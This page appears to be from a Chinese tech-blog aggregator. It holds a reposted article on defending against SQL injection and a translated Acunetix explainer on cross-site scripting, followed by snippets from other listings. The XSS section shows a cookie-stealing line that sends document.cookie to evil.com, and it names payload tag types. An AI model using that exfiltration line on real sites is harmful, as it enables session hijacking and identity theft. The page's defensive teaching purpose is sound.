      1、 普通用户与系统管理员用户的权限要有严格的区分。
      如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。
      2、 强迫使用参数化语句。
      如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击。不过可惜的是,现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。

    3、 加强对用户输入的验证。

      总体来说,防治SQL注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在SQLServer数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。
      如可以使用存储过程来验证用户的输入。利用存储过程可以实现对用户输入变量的过滤,如拒绝一些特殊的符号。如以上那个恶意代码中,只要存储过程把那个分号过滤掉,那么这个恶意代码也就没有用武之地了。在执行SQL语句之前,可以通过数据库的存储过程,来拒绝接纳一些特殊的符号。在不影响数据库应用的前提下,应该让数据库拒绝包含以下字符的输入。如分号分隔符,它是SQL注入式攻击的主要帮凶。如注释分隔符。注释只有在数据设计的时候用的到。一般用户的查询语句中没有必要注释的内容,故可以直接把他拒绝掉,通常情况下这么做不会发生意外损失。把以上这些特殊符号拒绝掉,那么即使在SQL语句中嵌入了恶意代码,他们也将毫无作为。
      故始终通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止SQL注入式攻击的常见并且行之有效的措施。

    实例:JSP使用过滤器防止SQL注入


      4、 多多使用SQL Server数据库自带的安全参数。
      为了减少注入式攻击对于SQL Server数据库的不良影响,在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。
      如在SQL Server数据库中提供了Parameters集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了Parameters这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。使用Parameters集合的另外一个优点是可以强制执行类型和长度检查,范围以外的值将触发异常。如果用户输入的值不符合指定的类型与长度约束,就会发生异常,并报告给管理员。如上面这个案例中,如果员工编号定义的数据类型为字符串型,长度为10个字符。而用户输入的内容虽然也是字符类型的数据,但是其长度达到了20个字符。则此时就会引发异常,因为用户输入的内容长度超过了数据库字段长度的限制。
      5、 多层环境如何防治SQL注入式攻击?
      在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是,如果下一层认为其输入已通过验证,则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境,在防止注入式攻击的时候,需要各层一起努力,在客户端与数据库端都要采用相应的措施来防治SQL语句的注入式攻击。
      6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
      使用专业的漏洞扫描工具,可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点,而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下,企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具,可以帮助管理员发现SQL注入式漏洞,并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞,那么攻击者也就无从下手了。

    7、设置陷阱账号:

    设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。

     


     

    攻击与防御一直是对立存在的两面,有新的攻击方式就会有更好的防护方法!在计算机网络方面两者更是通过长期竞争实现共同的进步;任何系统都不是完美的,既然我们不能开发出绝对安全的系统,那我们就要时刻防范各种可能的攻击。出现漏洞及时修复,这样才能保证我们系统的安全与稳定!

     

    本文用到的文件下载:sql注入实例分析.rar

    附送一个动画教程:SQLInjection.rar

    此文转载至左昱_leftshine,感谢!http://www.cnblogs.com/leftshine/p/SQLInjection.html

    展开全文
  • 跨站脚本攻击(XSS)

    2021-06-26 06:32:48
    跨站脚本攻击(XSS)是一种客户端代码注入攻击。攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送...

    bca78102c8dd8b2eef142fb3453d56f3.gif

    跨站脚本攻击(XSS)是一种客户端代码注入攻击。攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送到用户浏览器的工具。通常受到跨站脚本攻击的网页包括论坛、留言板以及可以评论的网页。

    如果网页将用户的原始输入作为网页内容,那么它很容易受到 XSS 攻击,因为这类用户输入一定会被受害者的浏览器解析。XSS 攻击可能存在于 VBScript、ActiveX、Flash,甚至 CSS 中。但它在 JavaScript 中最常见,主要是因为 JavaScript 是大多数浏览体验的基础。

    348726de4bf52df462d694e32bf6025b.png

    “跨站脚本攻击只影响用户吗?”

    如果攻击者能利用某网页上的 XSS 漏洞,在用户浏览器上执行任意的 JavaScript 代码,那么该网站和它的用户都会被影响。像其他安全性问题一样,XSS 不只会给用户造成困扰。如果它影响了你的用户,那么它也会影响你。

    跨站脚本攻击也可能用于丑化原网站,而不是攻击网站用户。攻击者通过注入脚本,改变网站的内容,或者甚至将当前页面重定向到另一个网页,例如一个有恶意代码的网页。

    攻击者能利用 JavaScript 做什么?

    与诸如 SQL 注入这样的漏洞相比,我们一般会认为 XSS 漏洞是低风险的。起初,能在网页端执行 JavaScript 引起的后果可能并不严重。大多数浏览器都是在严格受控的环境中运行 JavaScript,这使得 JavaScript 在访问用户的操作系统和文件上受到限制。但是,如果将 JavaScript 用于恶意内容中,它仍然会带来一定的风险:

    网页其余部分能访问的所有对象,恶意的 JavaScript 都能访问。包括访问用户的 cookie。用户的 cookie 通常被用来存储会话标志。如果攻击者获得了用户的会话 cookie,他们便能伪装成该用户,利用其身份执行操作,并且访问用户的敏感数据。

    JavaScript 可以读取并任意修改浏览器中的 DOM。还好,该情形只可能发生在 JavaScript 当前运行的网页中。

    JavaScript 可使用 XMLHttpRequest 对象,向任意站点发送带有任意数据的 HTTP 请求。

    现代浏览器中的 JavaScript 可使用 HTML5 接口。例如可访问用户的地理位置、摄像头、麦克风,甚至是用户文件系统中的指定文件。虽然这些接口大多数都需要经过用户同意,但攻击者可通过社会工程学绕过这些限制。

    通过以上几点,并结合社会工程学,不法之徒可发起更高级的攻击,包括:盗窃 Cookie、种植木马、记录密钥、网络钓鱼和盗窃身份。XSS 漏洞提供了完美的空间将攻击升级为更严重的攻击。跨站脚本攻击经常与其他类型的攻击一起被使用,例如:跨站请求伪造(CSRF)。

    跨站脚本攻击的类型包括:存储型/持久化的 XSS、 反射型/非持久化的 XSS 和 基于 DOM 的 XSS。你可在 XSS 的类型一文中了解更多内容。

    跨站脚本攻击如何工作

    典型的 XSS 攻击有两个阶段:

    为了在受害者的浏览器中运行恶意 JavaScript 代码,攻击者必须先找到一种方式将恶意代码注入到受害者访问的网页中。

    之后,受害者必须访问有恶意代码的网页。如果攻击者有特定的攻击目标,该攻击者可使用社会工程学结合(或)网络钓鱼的方式给受害者发送恶意网址。

    要完成第一步,易受攻击的网站需要将用户的输入直接包含在它的页面中。之后攻击者便能插入恶意代码片段,这些代码将在网页中使用并被受害者的浏览器视为源代码。也有一些 XSS 攻击的变体,攻击者利用社会工程学诱导用户访问某网址,并且该网址中就包含了恶意代码。

    以下是服务端伪代码片段,用于在网页中展示最近的评论:

    print ""

    print "

    Most recent comment

    "

    print database.latestComment

    print ""

    复制代码

    以上脚本很简单,作用是从数据库中取出最近的评论并放入 HTML 页面中。这段脚本默认页面展示的评论是纯文本,而不包含 HTML 标签或其他代码。这就导致了页面很容易遭受 XSS 攻击,因为攻击者可以提交包含恶意代码的评论。例如当评论的内容是以下代码:

    doSomethingEvil();

    复制代码

    网站服务端为访问该网页的用户提供以下 HTML 代码:

    Most recent comment

    doSomethingEvil();

    复制代码

    当受害者的浏览器加载该页面时,攻击者的恶意脚本开始执行。受害者常常不会意识到这类情形,也不能阻止这类攻击。

    使用 XSS 攻击偷取 Cookie

    不法之徒经常使用 XSS 攻击偷取 cookie。如此他们便能伪装成受害者。攻击者有多种方式将 cookie 发送到他们自己的服务器。其中一种方式是在受害者浏览器中执行以下客户端代码:

    window.location = "http://evil.com/?cookie=" + document.cookie;

    复制代码

    下图展示了简单 XSS 攻击的各步骤。

    2bec887058ed872f5fa0a26fe84f786a.png

    攻击者通过在提交表单时携带恶意 JavaScript 内容,将恶意内容注入到网站的数据库中。

    受害者向网站服务端请求网页。

    网站服务端将攻击者的恶意内容作为 HTML 内容的一部分,并返回给受害者的浏览器。

    受害者的浏览器执行包含在 HTML 中的恶意脚本。在该场景中,它将受害者的 cookie 发送到攻击者的服务器。

    在 HTTP 请求抵达服务器时,攻击者只需从请求中提取受害者的 cookie 即可。

    攻击者可以使用刚刚偷窃的受害者 cookie 进行伪装。

    想了解更多如何实现 XSS 攻击,你可以参考一份跨站脚本攻击的综合教程。

    跨站脚本攻击方式

    以下列表包含常见的 XSS 攻击方式,攻击者可使用它们降低网站的安全性。OWASP 组织维护了一个更完整的 XSS 攻击方式的列表:XSS Filter Evasion Cheat Sheet。

    复制代码

    JavaScript 事件

    像 onload 和 onerror 这类 JavaScript 事件属性能在很多种标签中使用。这也是一类非常流行的 XSS 攻击方式。

    复制代码

    标签中,除了像上面一样,可以通过事件属性实现 XSS 攻击代码外,还可以通过更多鲜为人知的属性,比如:background 属性。

    复制代码

    标签

    一部分浏览器会执行 属性中的 JavaScript 代码。

    复制代码

    标签

    标签的功能是将另一个 HTML 页面嵌入到当前页面中。由于内容安全协议(CSP),尽管 IFrame 中可能有 JavaScript 代码,但这些代码没有权限访问父页面上的 DOM。然而,IFrame 仍然是发起网络钓鱼攻击的有效方式。

    复制代码

    标签

    在一些浏览器中,如果 标签的 type 属性被设置成 image,那么它便能嵌入脚本。

    复制代码

    标签

    标签通常用于链接外部样式表,但也可以包含脚本。

    复制代码

    复制代码

    标签

    标签也可以通过 background 属性嵌入脚本。

    复制代码

    标签

    标签能用于引入外部网站的脚本。

    复制代码

    你的网站是否易受跨站脚本攻击?

    跨站脚本攻击漏洞是最常见的网站漏洞之一。OWASP 组织(开放网络应用安全工程)在 OWASP Top 10 2017 一文中将 XSS 漏洞列为第二流行问题。

    幸运的是,通过运行 Acunetix 的漏洞扫描器对网站进行自动扫描,将很容易测试你的网站是否存在 XSS 漏洞或其他漏洞。Acunetix 的漏洞扫描器 包含专门的 XSS 漏洞扫描模块。你可以在这个例子中找到更多有关对网站运行 XSS 漏洞扫描的信息。如何检测盲目 XSS 攻击漏洞一文中介绍了如何使用 Acunetix 检测盲目 XSS 攻击漏洞的例子。

    如何避免 XSS 攻击

    为了免受 XSS 攻击,你必须对用户的输入进行校验。你的应用代码不应该在没有检查接收的数据是否是恶意代码的情况下,直接将收到的数据输出给浏览器。

    参考这些文章获取更多细节:预防 XSS 攻击和预防基于 DOM 的跨站脚本攻击。你也可以在 OWASP 维护的预防 XSS 攻击的速查表中找到有用的信息。

    如何预防跨站脚本攻击(XSS)—— 通用技巧

    预防跨站脚本攻击(XSS)并不容易。特定的预防技术和 XSS 漏洞的类型、用户输入时的场景上下文和编程框架相关。尽管如此,你仍然可以遵循一些通用策略来确保网站安全。

    第一步:培训并保持安全意识

    为了保证你的网站安全,所有参与搭建该网站的人员都必须意识到 XSS 漏洞相关的风险。你应该为所有开发者、测试员工、运维员工和系统管理员提供适量的安全培训。你可以让他们参考这篇文章作为安全培训的开始。

    第二步:不要信任任何用户输入

    将所有用户输入都看作不可信的。任何被用作 HTML 输出结果的用户输入都有 XSS 攻击的风险。对待授权用户或内部员工的输入,也应该像对待外部用户输入一样,将其视为不可信。

    第三步:使用转义或编码

    根据用户输入内容的使用场景,使用合适的转义或编码技术,比如:HTML 转义、JavaScript 转义、CSS 转义、URL 转义等等。不到万不得已,不要自己写转义库,尽量使用已经存在的转义库。

    第四步:清理 HTML

    如果用户输入包含 HTML 内容,那么不能对这些内容进行转义,否则将导致标签不合法(译者注:例如期望

    ,但转义后结果为 <div>)。在这种情况下,使用信任的并且验证过的库对 HTML 进行分析和清理。选择哪个库需根据你的开发语言而定,例如:在 .NET 上使用 HtmlSanitizer,在 Ruby on Rails 上使用 SanitizeHelper。

    第五步:设置 HttpOnly 标志

    为了减轻可能存在的 XSS 漏洞造成的后果,可开启 cookie 的 HttpOnly 标志。这样客户端 JavaScript 将不能访问这些 cookie。

    第六步:使用内容安全协议

    为了减轻可能存在的 XSS 漏洞造成的后果,也可以使用内容安全协议(CSP)。CSP 是一个 HTTP 响应头,它可以根据当前请求的资源声明哪些动态资源是允许被加载的。

    第七步:周期性扫描

    XSS 漏洞可能被开发者引入,也可能被外部库、模块或软件引入。你应该使用网站漏洞扫描器(比如 Acunetix)周期性扫描你的网站。如果你使用 Jenkins,你可以安装 Acunetix 插件,实现每次构建时进行自动扫描。

    FAQ

    跨站脚本攻击是如何工作的?

    在跨站脚本攻击(XSS)中,攻击者通过有漏洞的网页将恶意 JavaScript 代码发送给用户。用户的浏览器在用户的电脑上执行恶意 JavaScript 代码。值得注意的是,大约三分之一的网站都存在跨站脚本攻击漏洞。

    为什么跨站脚本攻击是危险的?

    尽管跨站脚本攻击发生在用户的浏览器,它仍然有可能对你的网站造成影响。例如,攻击者可以使用 XSS 窃取用户凭证并伪装成该用户登录你的网站。如果被窃取的用户是网站管理员,则攻击者将对你的网站有更多控制权。

    查看过去发生的一例高风险的 XSS 攻击例子。

    如何发现跨站脚本攻击漏洞

    为了发现跨站脚本漏洞,你可以进行人工渗透测试或者先使用漏洞扫描器。如果你使用了漏洞扫描器,那么你将节约许多时间和钱,因为你的渗透测试人员可以聚焦到更有挑战的漏洞中。

    查看为什么在雇佣测试人员之前,使用漏洞扫描器是个不错的选择。

    如何防御跨站脚本攻击

    为了防御跨站脚本攻击,你必须周期性扫描你的网站,或者至少在每次修改了代码后都扫描一次。之后,开发者必须进行正确的编码才能消除漏洞。与流行的观点相悖,网站防火墙不能防御跨站脚本攻击,他们仅仅使攻击变得更困难 —— 但漏洞仍然存在。

    转自:https://www.acunetix.com/websitesecurity/cross-site-scripting/

    举报/反馈

    展开全文
  • 如何避免 sql 注入

    万次阅读 多人点赞 2019-07-04 10:04:24
    如何避免 sql 注入? 1、概念 SQL 注入(SQL Injection),是 Web 开发中最常见的一种安全漏洞。...程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的 SQL 脚本,程序在接收后错误的...
  • SQL注入与XSS都是web安全中的危险漏洞 简单来说一下XSS与CSRF最大的区别,这两个的最大的不同点在于XSS是客户端信任服务端,当服务端未过滤恶意代码发送给客户端,客户端浏览器就直接执行;CSRF是服务端信任客户端,...
  • 单击此处添加标题 * * 目录页 SQL注入原理 SQL注入的原理 动态页面有时会通过脚本引擎将用户输入的参数按照预先设定的规则构造成SQL语句来进行数据库操作,SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用...
  • 脚本编制 详细信息 有多种减轻威胁的技巧: [1] 策略:库或框架 使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。 可用于更轻松生成正确编码的输出的库和框架示例包括 ...
  • APP漏洞(frida动态注入)

    千次阅读 2020-09-25 11:42:49
    之前一篇博客介绍了工具脱壳:APP工具脱壳 ...再运行程序 脱壳过程 首先要找到脱壳脚本或者写脱壳脚本,我用的是dump_dex.js的脚本,进行脱壳,这个脚本就是一个简单的hook 主机执行frida对app进行脱壳:frida -U -f ...
  • SQL 注入漏洞介绍及解决办法

    千次阅读 2022-04-26 22:26:58
    SQL 注入攻击(SQL Injection),被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。 在设计不良的程序当中,忽略了对输入字符串中夹带的 SQL 指令的检查,那么这些夹带进去的指令就会被...
  • 文章目录注入SQL注入JDBC拼接不当造成SQL注入框架使用不当造成SQL注入不安全的反射命令注入代码注入表达式注入Spel表达式注入OGNL表达式注入模板注入 注入 SQL注入 JDBC拼接不当造成SQL注入 JDBC有两种方法执行SQL...
  • ,正常安装这个脚本是空文件,但是被注入的文件,该脚本包含了一系列的 JOB 定义、存储过程和触发器定义。 受感染的  AfterConnect.sql  脚本开头伪装非常正常的代码, 后续内容却是加密的恶意代码。 病毒主要...
  • 命令注入

    千次阅读 2018-12-04 10:34:57
    一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。 测试脚本command.py: import os,subprocess import sys command = "ping -c 4 {}".format(sys.argv[1]) p = subprocess.Popen(command, ...
  • SQL注入漏洞-POST注入

    千次阅读 2022-03-05 22:33:37
    显错注入 关键代码为: 构造语句来显示所有的用户名和密码 ’OR 1# 关键代码为: 正常輸入因為數據庫里沒有所以查不到任何數據,而要查看到所有數據就需要使條件變為true 构造语句来显示所有的用户名和...
  • SQL注入防护

    千次阅读 2020-08-04 00:03:27
    SQL注入介绍和防护。
  • XSS跨站脚本漏洞简介、原理及防护方法 XSS跨站漏洞原理及防护
  • 解决SQL注入与XSS攻击

    2020-11-23 19:05:51
    最近接手之前同事的几个项目,公司利用扫描工具进行全项目扫描,发现了部分项目代码存在安全漏洞,所以需要进行项目代码修复以避免有人恶意攻击。这个任务自然而然的就落到我手上。在这里记录一下操作的过程。 扫描...
  • sql注入漏洞

    千次阅读 2022-04-27 00:08:43
    文章目录SQL注入漏洞一、SQL注入原理实现注入攻击的两个关键条件(重点)二、SQL注入危害三、SQL注入防御四、SQL注入分类五、SQL注入流程流程...密码七、sqlmap注入实例1、判断是否存在注入点2、爆数据库名3、指定库名...
  • HTTP响应头拆分/CRLF注入详解一:前言HTTP响应头拆分漏洞 是一种新型的web攻击方案,它从新产生了很多保险漏洞包括:web缓存沾染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。这项攻击计划,包括其衍生的一系列...
  • 命令注入漏洞

    2021-02-02 22:37:33
    一、成因及其危害 成因: 调用执行系统命令时,将用户的输入作为系统命令的参数拼接到命令行中, 没有相对应的过滤 危害: 1.继承web服务器程序权限,去执行系统命令 2.读写文件 3.反弹shell 4.控制整个网站及...
  • 如何预防SQL注入和XSS攻击

    千次阅读 2019-06-10 16:09:43
    SQL注入简介 SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户...
  • 浅谈Shell注入

    千次阅读 2020-05-18 18:07:45
    通过实际例子介绍Shell注入,并简单地介绍Shell注入的方法及其方法措施。
  • 注入攻击OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险。实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功。虽然这是最明显的组合关系,但是注入攻击带来的不仅仅是 XSS。注入...
  • 安全测试SQL注入与XSS攻击

    千次阅读 2021-11-05 14:09:23
    SQL注入原理: 注入攻击的本质:把用户输入的数据当做代码执行。 两个必要的条件:一是用户可以控制输入;二是原本要执行的代码拼接了用户的输入数据。 1、任何可以与数据库交互的编程语言都可能出现SQL注入漏洞...
  • 随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓。很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序。这时我们用常规的手段去探测网站的SQL注入漏洞时会...
  • Python3命令注入防范

    2021-02-04 01:40:06
    一、背景说明说实话自己是做安全的,平时总是给别人代码找茬,但轮到自己写代码有时比开发还不注重...但前段时间被拉群通知说自己写的一个脚本存在命令注入漏洞,开始很讶异,经沟通和分析之后发现是因为脚本有通...
  • 1.概述 XSS(cross site script)或者说跨站脚本...2.操控用户浏览器,借助其他漏洞可能导致对https加密信息的破解,导致登录传输存在安全风险。 3.结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。 4.

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 13,050
精华内容 5,220
关键字:

存在脚本注入风险